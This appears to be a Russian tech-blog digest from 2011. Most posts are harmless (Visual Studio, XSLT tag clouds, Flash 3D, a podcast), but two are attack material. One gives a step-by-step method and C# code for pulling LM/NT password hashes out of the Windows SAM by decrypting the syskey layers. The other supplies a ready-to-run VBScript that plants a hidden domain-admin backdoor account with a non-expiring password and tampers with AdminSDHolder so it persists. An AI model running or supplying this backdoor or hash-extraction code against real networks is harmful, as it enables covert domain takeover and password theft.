воскресенье, 6 марта 2011 г.

Информационная безопасность 2

Хранение и шифрование паролей Microsoft Windows

Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывали syskey. Я попытаюсь исправить этот неодостаток, описав все подробности о том где находятся пароли, в каком виде, и как их преобразует утилита syskey.

Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита psExec от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.
 
V-блок

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.

Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу HKLM\SAM\SAM\Domains\Account\users\[RID]\V
, известном как V-блок. Раздел SAM находится в соответствующем файле c:\Windows\System32\config\SAM. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку HKLM\SAM\SAM\Domains\Account\users\names\<имя пользователя> (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:

PsExec.exe -s -i -d regedit.

Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:
 
 От 0x0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:

Адрес имени пользователя — 0xС
Длина имени пользователя — 0x10
Адрес LM-хэша — 0x9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac

В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0x14.

Еще одна деталь, касающаяся хранения паролей — как к NT- так и к LM-хэшу всегда добавляются спереди 4 байта, назначение которых для меня загадка. Причем 4байта будут присутствовать даже если пароль отключен. В данном случае видно, что длина LM хэша =4 и если посмотреть на его адрес, можно эти 4 байта увидеть несмотря на то что никакого LM-хэша нет.
Поэтому при поиске смещений хэшей смело прибавляем 4 байта к адресу, а при учете размеров — вычитаем. Если удобнее читать код — вот примерно так будет выглядеть поиск адресов с учетом инверсии, лишних четырех байтов и прибавления стартового смещения 0xcc (код C#)

int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0x100 + 4 + 0xcc;
int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0x100 + 4 + 0xcc;
int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0x100 - 4;
int nthashSize = userVblock[0xac] + userVblock[0xad] * 0x100 - 4;
int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0x100 + 0xcc;
int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0x100;
userVblock — значение HKLM\SAM\SAM\Domains\Account\users\\V в виде массива байт.
Еще про V-блок можно почитать тут.


Алгоритмы  


Теперь разберемся в алгоритмах шифрования.
Формирование NT-хэша:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
Формирование LM-хэша:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.

4. В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.

Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID'ов пользователей, расшифровываем хэши DES'ом
3. Полученые хэши атакуем перебором.

Bootkey


Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:
HKLM\System\CurrentControlSet\Control\Lsa\JD
HKLM\System\CurrentControlSet\Control\Lsa\Skew1
HKLM\System\CurrentControlSet\Control\Lsa\GBG
HKLM\System\CurrentControlSet\Control\Lsa\Data


Раздел system находится в файле c:\Windows\System32\config\system

Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLM\SYSTEM\Select\default.
например если HKLM\SYSTEM\Select\default = 1 — вместо HKLM\System\CurrentControlSet\ ищем в HKLM\System\controlset001\

У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция RegQueryInfoKey.
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:

Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\JD
Class Name: 46003cdb = {0xdb,0x3c,0x00,0x46}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
Class Name: e0387d24 = {0x24,0x7d,0x38,0xe0}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\GBG
Class Name: 4d183449 = {0x49,0x34,0x18,0x4d}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Data
Class Name: 0419ed03 = {0x03,0xed,0x19,0x04}

Собраный из четырех частей ключ будет массивом байт:

scrambled_key = {0xdb,0x3c,0x00,0x46,0x24,0x7d,0x38,0xe0,0x49,0x34,0x18,0x4d,0x03,0xed,0x19,0x04};

Далее элементы этого массива переставляются на основе некоторого константного массива p

int[] p = { 0xb, 0x6, 0x7, 0x1, 0x8, 0xa, 0xe, 0x0, 0x3, 0x5, 0x2, 0xf, 0xd, 0x9, 0xc, 0x4 };
Элементы в этом массиве определяют позиции для перестановок, т.е.

key[i] = scrambled_key[p[i]];

В нашем примере получится массив:

key[] = {0x4d,0x38,0xe0,0x3c,0x49,0x18,0x19,0xdb,0x46,0x7d,0x00,0x04,0xed,0x34,0x03,0x24 };

этот массив и есть так называемый bootkey. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.

Hashed bootkey


для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):

string aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0";
string anum = "0123456789012345678901234567890123456789\0";
Также понадобится F-блок пользователя (HKLM\SAM\SAM\Domains\Account\users\\F), а именно его 16 байт: F[0x70:0x80]

На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4

rc4_key = MD5(F[0x70:0x80] + aqwerty + bootkey + anum).

Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока F[0x80:0xA0];

hashedBootkey = RC4(rc4_key,F[0x80:0xA0])

Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.

Дешифруем пароли с помощью Hashed Bootkey


для паролей LM и NT нам понадобятся еще 2 строковые константы —

string almpassword = "LMPASSWORD";
string antpassword = "NTPASSWORD";

а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (hashedBootkey[0x0:0x10]);
Все это склеивается в один массив байт и считается MD5 по правилам:
rc4_key_lm = MD5(hbootkey[0x0:0x10] +RID + almpassword);
rc4_key_nt = MD5(hbootkey[0x0:0x10] +RID + antpassword);

полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя

userLMpass = RC4(rc4_key_lm,userSyskeyLMpass);
userNTpass = RC4(rc4_key_lm,userSyskeyNTpass);

На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу
 

DES

На основе четырех байт RID'а пользователя с помощью некоторых перестановок и побитовых операций создаем 2 ключа DES. Вот функции, которые осуществляют обфускацию (С#):
private byte[] str_to_key(byte[] str) {
byte[] key = new byte[8];
key[0] = (byte)(str[0] >> 1);
key[1] = (byte)(((str[0] & 0x01) << 6) | (str[1] >> 2));
key[2] = (byte)(((str[1] & 0x03) << 5) | (str[2] >> 3));
key[3] = (byte)(((str[2] & 0x07) << 4) | (str[3] >> 4));
key[4] = (byte)(((str[3] & 0x0F) << 3) | (str[4] >> 5));
key[5] = (byte)(((str[4] & 0x1F) << 2) | (str[5] >> 6));
key[6] = (byte)(((str[5] & 0x3F) << 1) | (str[6] >> 7));
key[7] = (byte)(str[6] & 0x7F);
for (int i = 0; i < 8; i++) {
key[i] = (byte)(key[i] << 1);
}
des_set_odd_parity(ref key);
return key;
}

private byte[] sid_to_key1(byte[] rid) {
byte[] s = new byte[7];
s[0] = (byte)(rid[0] & 0xFF);
s[1] = (byte)(rid[1] & 0xFF);
s[2] = (byte)(rid[2] & 0xFF);
s[3] = (byte)(rid[3] & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];

return str_to_key(s);
}

private byte[] sid_to_key2(byte[] rid) {
byte[] s = new byte[7];
s[0] = (byte)((rid[3]) & 0xFF);
s[1] = (byte)(rid[0] & 0xFF);
s[2] = (byte)((rid[1]) & 0xFF);
s[3] = (byte)((rid[2]) & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];

return str_to_key(s);
}

Ну здесь особо комментировать нечего, кроме функции des_set_odd_parity(ref key) — это одна из функций библиотеки openssl, задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.

Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES'ом -одна половина зашифрована ключем сформированым функцией sid_to_key1, вторая — sid_to_key2.
obfskey_l = userNTpass[0x0:0x7]
obfskey_r = userNTpass[0x8:0xF]
byte[] deskey1 = sid_to_key1(RID);
byte[] deskey2 = sid_to_key2(RID);
byte[] md4hash_l = DES(obfskey_l, deskey1);
byte[] md4hash_r = DES(obfskey_r, deskey2);

После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — 31d6cfe0d16ae931b73c59d7e0c089c0

Исследование проведено на основе исходного кода ophcrack-3.3.1, а так же статьи Push the Red Button:SysKey and the SAM

Информационная безопасность

Backdoor в Active Directory

В свое время, менее года назад, на каком то сайте мелькала публикация с аналогичным заголовком [1]. В ней автор предлагал способ по сокрытию привилегий администратора домена путем использования в качестве контейнера, для размещения «скрытой» учетной записи, служебное хранилище «Program data», в совокупностью с агрессивным разграничением прав с целью предотвращения доступа к «спрятанной» учетной записи. Однако, несмотря на заверения автора, обнаружение «скрытой» учетной записи и ее последующее удаление можно было выполнить всего в несколько кликов.

1. Обнаружение и беспрепятственное удаление учетной записи (несмотря на обратные заверения автора [1]).


Т.е. предложенный подход на практике будет не работоспособен. Но может быть существует более подходящая альтернатива этому способу (в том числе без использования руткитов на контроллерах домена:))?

В силу того, что моя деятельность напрямую связана с проведением тестирований на проникновение, этот вопрос некоторое время крутился у меня в голове. И крутился до того, момента пока не потребовалось в одной из проводимых мною работ оставаться незамеченным на протяжении продолжительного времени, при этом оставаясь и администратором предприятия и выполняя условие по минимизации воздействия на информационную систему.

Как говорил один известный писатель детективных романов:
— Где лучше всего спрятать лист?
— В осеннем лесу!
— Где лучше всего спрятать камень?
— На морском берегу!
— А где лучше всего спрятать труп?
— На поле сражения.

Проводя параллель с каталогом домена можно придерживаться следующей стратегии:

— Идентификатор backdoor лучше не прятать, а держать в одном контейнере с большим скоплением других идентификаторов пользователей. При этом создаваемый идентификатор должен быть максимально похож на самую обычную корпоративную учетную запись.

— Идентификатор backdoor не должен непосредственно являться членом групп с расширенными привилегиями в домене. Для этого лучше использовать возможности контроля доступа, как показано на картинке ниже.


— Не совсем разумно «светить» идентификатор backdoor пользователя даже в списках контроля доступа у групп с расширенными привилегиями в домене. Более разумный подход – расширение привилегий группам безопасности, которые уже являются участниками ACLs в списках контроля доступа у групп с расширенными привилегиями в домене. Для этих целей удачно подходит группа «Builtin\Terminal Server License Servers»:

Итак, для эффективного создания бэкдора, по описанному сценарию выше, требуется:

1. Завести неприметного пользователя;
2. Разрешить этому пользователю изменять список участников группы «Builtin\Terminal Server License Servers»;
3. Разрешить группе «Builtin\Terminal Server License Servers» изменять список участников группы, например, «Domain Admins».

Тут стоит отметить небольшой нюанс. Просто так изменить список контроля доступа для группы «Domain Admins» не получится. Дело в том, что в архитектуре Active Directory предусмотрена защита списков контроля доступа наиболее чувствительных объектов (adminSDHolder, [2]), в их числе:

— Enterprise Admins
— Schema Admins
— Domain Admins
— Administrators
— Domain Controllers
— Cert Publishers
— Backup Operators
— Replicator Server Operators
— Account Operators
— Print Operators

Для того чтобы вносимые изменения в список контроля доступа перечисленных выше групп не перезаписывались каждый час, требуется либо изменить шаблонный список контроля доступа на объекте «CN=AdminSDHolder,CN=System, », либо установить атрибут «adminCount» в ноль для требуемого объекта [3]. Перезаписать шаблонный список контроля доступа видится мне более перспективным т.к. не каждый администратор знаком с подобным «защитным» механизмом Active Directory.

Для автоматизации «закладки» в Active Directory может использоваться сценарий, который приведен ниже.

On Error Resume Next

' Имя и пароль пользователя
username = "PT"
password = "P@ssw0rd"

' Организационная единица, в которой будет создан пользователь
userDN = "cn=Users"

' Группа, которая уже содержится в ACLs группы Domain Admins
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTIN\Terminal Server License Servers"

' Группа администраторов
adminsGroup = "CN=Domain Admins,CN=Users"

Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)

Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))

' Создаем пользователя
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next

' Устанавливаем пароль, который будет жить вечно ;)
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next

' Разрешаем созданному пользователю изменять список участников группы Terminal Server License Servers
GroupAddAce joinGroupDN,username

' Разрешаем членам группы Terminal Server License Servers изменять список участников группы Domain Admins
GroupAddAce adminsGroup,joinGroup

' Меняем "защитный" шаблон безопасности ACL на аналогичное разрешение выше
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup

Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))

Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

End Function


Стоит лишь добавить, что, несмотря на свою простоту, обнаружить подобную закладку без средств непрерывного автоматизированного контроля довольно сложно. А развивая идею можно подумать в сторону и более сложных закладок, например, разрешить пользователю управлять групповыми политиками для OU, содержащего контроллеры домена и т.п.

Visual Studio

C++/CLI IntelliSense в Visual Studio

Разработчики из команды Visual C++ Team поделились своими соображениями почему с выходом Visual Studio 2010 ими не была включена IntelliSense подсказка для C++/CLI проектов.

В выходящем пакете SP1 для Visual Studio 2010 для C++/CLI её также не будет — связано это c начатым процессом переписывания внутренних механизмов реализации Intellisense-подсказки. В Visual Studio 2010 решили отказаться от привычного использования старого механизма .ncb файлов из-за большого объема работы по переносу его со старых версий VS. И его бессмысленности как таковой из-за наличия начатой разработки новой версии подсказки. Новая версия подсказки не была включена из-за своей недописанности, включая большое количество запланированных нововведений. Так, в текущей версии IntelliSense не работал бы импорт метаданных, что сделало бы его во многом бессмысленным.

Таким образом, в новых версиях Visual Studio мы должны увидеть не только новый механизм работы интеллектуальной подсказки, но и много нововведений, связанных с ней.
 

Droider.ru

Амазонки мобильного мира

Всем привет,

В завершающий день такой продолжительной рабочей недели хотим поздравить вас с наступающим праздником — 8 марта! Мы не смогли не воспользоваться таким замечательным поводом, и решили рассказать вам о самых влиятельных и успешных женщинах в мире мобильных и интернет-технологий, настоящих воительницах индустрии.

Марисса Майер, Google. 
Вице-президент по поисковым продуктам и удовлетворенности пользователей.


  


Марисса возглавляет направление по управлению самым главным в Google проектами — поисковыми. В ее ведении находятся запуски, связанные с основными сервисами компании: веб-поиск, Картинки, Новости, Книги, Карты Google, Google Планета Земля, Панель инструментов и другие. Она пришла в команду в 1999 году и была первой девушкой-инженером. Кроме этого, Марисса долгое время читала популярные лекции по программированию в Стэнфордском университете.

Шер Вонг, HTC.
Председатель совета директоров, одна из основателей компании.


Шер очень повезло с родственниками, что, конечно, не отменяет ее личные выдающиеся качества и достижения. Ее отцом был богатейший тайваньский предприниматель-долгожитель, руководивший империей пластмассовой и химической промышленности. Муж Шер — генеральный директор компании VIA Technologies, которая производит процессоры, материнские платы и модули памяти. Сама Шер участвует в жизни HTC с момента ее основания.

Елена Шматова, ВымпелКом (Билайн).
Генеральный директор.


Окончила экономический факультет Московского института связи. Генеральным директором одного из операторов «большой тройки» Елена стала в июне 2010 года, проработав до этого в компании с 1999 года на крупнейших финансовых должностях.


Мэри МакДауэлл, Nokia.
Исполнительный вице-президент. Подразделение мобильных телефонов.


За свою карьеру Мэри успела поработать в таких компаниях, как Compaq и Hewlett-Packard. В 2004 году она начала трудиться в Nokia, и сейчас на ее плечах находятся все задачи по продвижению и созданию мобильных продуктов компании во всем мире.

Надеемся, такой мощный по составу список вдохновит как мужчин, так и женщин на новые достижения и идеи. Еще раз поздравляем вас с наступающим праздником! Редакция Droider.ru

XSLT

Облако тегов средствами XSLT

Не так давно столкнулся с необходимостью реализовать на одном из проектов то, что в народе называют «облаком тегов» — набор ссылок, в котором наиболее «весомые» элементы имеют бОльший размер. Для этого можно было бы, конечно, посчитать и получить все необходимые данные в PHP, на котором работает проект, но мне хотелось сделать конечный вариант отображения на XSLT и CSS, чтобы все необходимые величины для конфигурирования максимальных/минимальных размеров шрифта, например, были заданы в представлении, а не в логике приложения.

Возможно, кому-то мой опыт окажется полезным, поэтому публикую конечное решение здесь.

Итак, на входе у нас есть простейший XML с тегом и количеством его упоминаний:

<?xml version="1.0" encoding="utf-8" ?>
<cloud>
       <row id="1">
                <name>биология</name>
                <weight>2</weight>
        </row>
        <row id="2">
                   <name>русский язык</name>
                   <weight>20</weight>
        </row>
        <row id="3">
                        <name>алгебра</name>
                        <weight>13</weight>
         </row>
         <row id="4">
                       <name>география</name>
                       <weight>2</weight>
         </row>
         <row id="5">
                                <name>физкультура</name>
                                        <weight>20</weight>
          </row>
          <row id="6">
                                <name>астрономия</name>
                                <weight>1</weight>
          </row>
          <row id="7">
                                <name>правоведение</name>
                                <weight>7</weight>
          </row>
          <row id="8">
                                  <name>история</name>
                                       <weight>14</weight>
</row>
</cloud>

* This source code was highlighted with Source Code Highlighter.


теперь сделаем преобразование:


<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">
<html>
<body>
<xsl:apply-templates />
</body>
</html>
</xsl:template>

<xsl:template match="cloud">
<xsl:variable name="theMax" select="row[not(weight < ../row/weight)]/weight" />
<xsl:variable name="theMin" select="row[not(weight > ../row/weight)]/weight" />

<xsl:variable name="perc100" select="$theMax - $theMin"/>
<xsl:variable name="perc1">
<xsl:choose>
<xsl:when test="$perc100 = 0">100</xsl:when>
<xsl:otherwise><xsl:value-of select="100 div $perc100"/></xsl:otherwise>
</xsl:choose>
</xsl:variable>

<xsl:variable name="maxfont">26</xsl:variable>
<xsl:variable name="minfont">11</xsl:variable>

<xsl:variable name="font" select="$maxfont - $minfont"/>
<div style="width:300px">
<xsl:for-each select="row">
<xsl:variable name="size" select="$minfont + ceiling($font div 100 * ((weight - $theMin) * $perc1))"/>
<a href="/tag/{name}" style="font-size: {$size}px">
<xsl:value-of select="name" />
</a>
<xsl:if test="position() != last()"><xsl:text> </xsl:text></xsl:if>
</xsl:for-each>
</div>
</xsl:template>

</xsl:stylesheet>

* This source code was highlighted with Source Code Highlighter.

В переменные $minfont и $maxfont задаются значения размера шрифта тега в пикселях. Остальные вычисления необходимы для того, чтобы понять, какое количество пикселей нужно прибавить к $minfont в зависимости от величины «веса» того или иного тега. Можно перенести это из переменных в параметры шаблона, и тогда в разных местах сайта можно будет указывать разные значения максимального и минимального размеров шрифтов при вызове шаблона, для более гармоничного отображения.
В результате вычислений значения изменяются довольно плавно, и теги с небольшими различиями в весе при небольшом диапазоне от $minfont до $maxfont будут иметь одинаковый размер.

В результате представленного выше преобразования, получаем следующий HTML:

<html>
<body>
<div style="width: 300px;">
<a href="/tag/биология" style="font-size: 12px;" title="weight: 2">биология</a>
<a href="/tag/русский язык" style="font-size: 26px;" title="weight: 20">русский язык</a>
<a href="/tag/алгебра" style="font-size: 21px;" title="weight: 13">алгебра</a>
<a href="/tag/география" style="font-size: 12px;" title="weight: 2">география</a>
<a href="/tag/физкультура" style="font-size: 26px;" title="weight: 20">физкультура</a>
<a href="/tag/астрономия" style="font-size: 11px;" title="weight: 1">астрономия</a>
<a href="/tag/правоведение" style="font-size: 16px;" title="weight: 7">правоведение</a>
<a href="/tag/история" style="font-size: 22px;" title="weight: 14">история</a>
</div>
</body>
</html>

* This source code was highlighted with Source Code Highlighter.

А выглядит это так:









Таким образом генерировать облако тегов можно и при помощи client-side XSLT-преобразований.

Конструктивная критика приветствуется. Буду рад, если пригодится не только мне. :)




 

Flash-платформа


Аппаратно ускоренная графика во Flash на Windows и Linux

 Сегодняшньяя тема которую мы рассмотрим это выход превью Molehill (низкоуровневое API Actionscript для вывода аппаратно ускоренной графики во flash-плеере) предлагаю вашему вниманию способ сборки/запуска этой радости на Windows и Linux (Ubuntu 10.10)

Готовим среду

Собирать приложения будем с помощью Flex.
Для этого, согласно инструкциям на сайте производителя, качаем свежую версию продукта с официальной страницы загрузки
Для Linux следуем инструкциям по развертыванию

Качаем и устанавливаем для своего браузера и операционной системы нужную версию flash-плеера (ссылки ниже).
Для ubuntu копируем libflashplayer.so в /usr/lib/mozilla/plugins/ и выполняем на нем для x64 систем: sudo nspluginwrapper -i /usr/lib/mozilla/plugins/libflashplayer.so источник
Проверяем работет ли плеер на демо

В директории frameworks/libs/player дистрибутива flex SDK создаем папку 13.1 и копируем туда playerglobal.swc (определения нового API)

В файле frameworks/flex-config.xml меняем target-player на 13.1 и swf-version на 13.
Теперь можно пытаться собрать простенький пример использующий molehill, например, отсюда (mxmlc mole2d/src/Main.as).

А теперь 3D

API Molehill низкоуровневое и для того чтобы показать в своем проекте аппаратно ускоренное 3D придется изрядно повозиться, но можно пойти другим путем и использовать существующий 3D движок. В апреле 2011 г. выйдет версия Alternativa3D с поддержкой Molehill, а уже сегодня можно поработать с альфа версией движка Away3D.

Качаем отсюда исходники библиотеки и примеры использования
Из директории src исходников копируем папки away3d и com в директорию src примеров использования, а lib/apparat-lzma-decoder-1.0.RC8.swc в директорию frameworks/libs flex SDK

Теперь можно собирать исходники примеров например так: mxmlc LightingTest.as и смотреть результаты, открывая получившиеся swf файлы браузером.
Для многих примеров использующих загрузку файлов (LoaderMD5Test.as etc.) понадобится поместить src/assets и скомпилированный ролик в сетевую папку или запускать их с локального или удаленного вебсервера.

Подкасты

«Рунет сегодня», 5 марта 2011 года. Эксперты выпуска: Егор Яковлев, Петр Диденко.

В студии «Финам FM» с Максимом Спиридоновым обсуждают и анализируют события Рунета за неделю Егор Яковлев, генеральный директор компании Tvigle Media, и Петр Диденко, главный специалист по стратегическому развитию «СКБ Контур». В центре дискуссии — регистрация кириллического домена.укр, усиление роли кнопки Like в интерфейсе Facebook, запуск сервиса платежей банковскими картами через «Яндекс.Деньги», открытие онлайн-кинотеатра Now.ru (проект «Газпром Медиа»), планы крупнейших игроков рынка мобильного интернета по совместному внедрению связи стандарта 4G на мощностях Yota и официальное опровержение информации о возможной продаже «ВКонтакте» его акционеру Mail.ru Group.

1. Украина зарегистрировала кириллический домен верхнего уровня.укр в международной организации ICANN, отвечающей за распределение адресного пространства интернета. Это доменное имя в настоящее время готовится к делегированию. Обеспечение технической инфраструктуры для функционирования новой зоны возложено на координационный совет Украинского сетевого информационного центра, который уже курирует работу домена .ua.

— Кириллические домены: дань моде, «национальный пиар» или шаг к повышению «дружелюбности» интернета?
— Егор Яковлев: «Доступ к подавляющему большинству информации люди в ближайшее время будут получать специальные приложения, которые живут на самых разных устройствах. Не будет нужно даже ничего набирать [в браузере]».

2. Администрация социальной сети Facebook переносит функциональность кнопки Share, «Поделиться», на кнопку Like, «Нравится». Теперь, когда пользователь помечает тот или иной материал нажатием кнопки Like, в его ленте в Facebook появляется отдельный блок с кратким описанием контента и мини-иллюстрацией. Эти изменения вступили в силу, однако, по словам представителя Facebook, пока носят тестовый характер. Функциональность кнопки Share дальнейшему развитию не подлежит.

— Петр Диденко: «В случае с пользовательским софтом надо, чтобы была одна кнопка счастья, желательно зеленого цвета», «Facebook нужно ставить перед собой конкретные цели».
— Facebook проходит тот же путь, что и Windows?
— Технология социального графа в поисковых системах.

3. «Яндекс.Деньги» ввели возможность привязать банковскую карту к счету в своей платежной системе. Теперь пользователи сервиса могут совершать через него в Сети покупки, используя его как шлюз для перевода средств с карты, причем без комиссии. Пока лимит по платежам, производимым таким способом, составляет максимум пять тысяч рублей в сутки и не более 30 тысяч в месяц.

— С чем связан лимит на платежи в рамках сервиса?
— Два противоположных подхода к безопасности платежей.
— Петр Диденко: «Хотелось бы, чтобы суррогатные деньги становились реальнее».

4. Холдинг «Газпром Медиа» и телеканал ТНТ 1 марта открыли онлайн-кинотеатр Now.ru. Месяц доступа к каталогу портала стоит 499 рублей. Создатели ресурса делают акцент на полной легальности предлагаемых ими фильмов, сериалов и передач. В частности, руководством Now.ru заключены контракты с BBC, Disney, Sony Pictures, Warner Brothers и другими крупными киностудиями. В сервис вложены «миллионы долларов», но меньше десяти миллионов, заметил гендиректор ТНТ Роман Петренко в интервью газете «Коммерсант».

— Возможен ли коммерческий успех у проекта класса Now.ru на российском рынке?
— Бизнес-модели сервисов онлайн-трансляции потокового видео.
— Егор Яковлев: «Просто назвать человека пиратом, когда у него нет другого способа получить контент легально».

5. Компании «Вымпелком», «Мегафон», МТС, «Ростелеком» и «Скартел» (бренд Yota) в четверг в присутствии премьер-министра России Владимира Путина заключили соглашение о создании совместного предприятия. Общими усилиями эти пять игроков планируют развивать услуги мобильной связи четвертого поколения (4G) по технологии LTE. Инфраструктурной базой проекта послужат частоты, имеющиеся в распоряжении Yota. Доли в предприятии могут быть распределены между компаниями-участницами на паритетной основе. До 2014 года для создания сетей стандарта 4G «Скартел» собирается привлечь внешнее финансирование на уровне двух миллиардов долларов.

— Егор Яковлев: «Эта сделка только отчасти коммерческая, скорее решение стратегическое».
— С чьими интересами столкнулись интересы компании Yota?
— Что даст технология LTE обычным пользователям?

6. Создатель социальной сети «ВКонтакте» Павел Дуров заявил на сайте Roem.ru о том, что контроль над компанией остается у ее основателей. Вопреки слухам, они не намерены полностью продать свой бизнес Mail.ru Group, которой принадлежит 32,5% сервиса. «Планов по интеграции на уровне сервисов, управления или продажи рекламы между проектами Mail.ru Group и „ВКонтакте” не существует», — заметил господин Дуров и обещал, что его компания будет продолжать самостоятельное развитие.

— Петр Диденко: «Это [решение] продиктовано личностью Павла Дурова».
— Егор Яковлев: «Исторически бизнес „ВКонтакте” в значительной степени построен на нарушении авторских прав», «Если бы „ВКонтакте” был частью Mail.ru Group, у них были бы проблемы с IPO в Англии».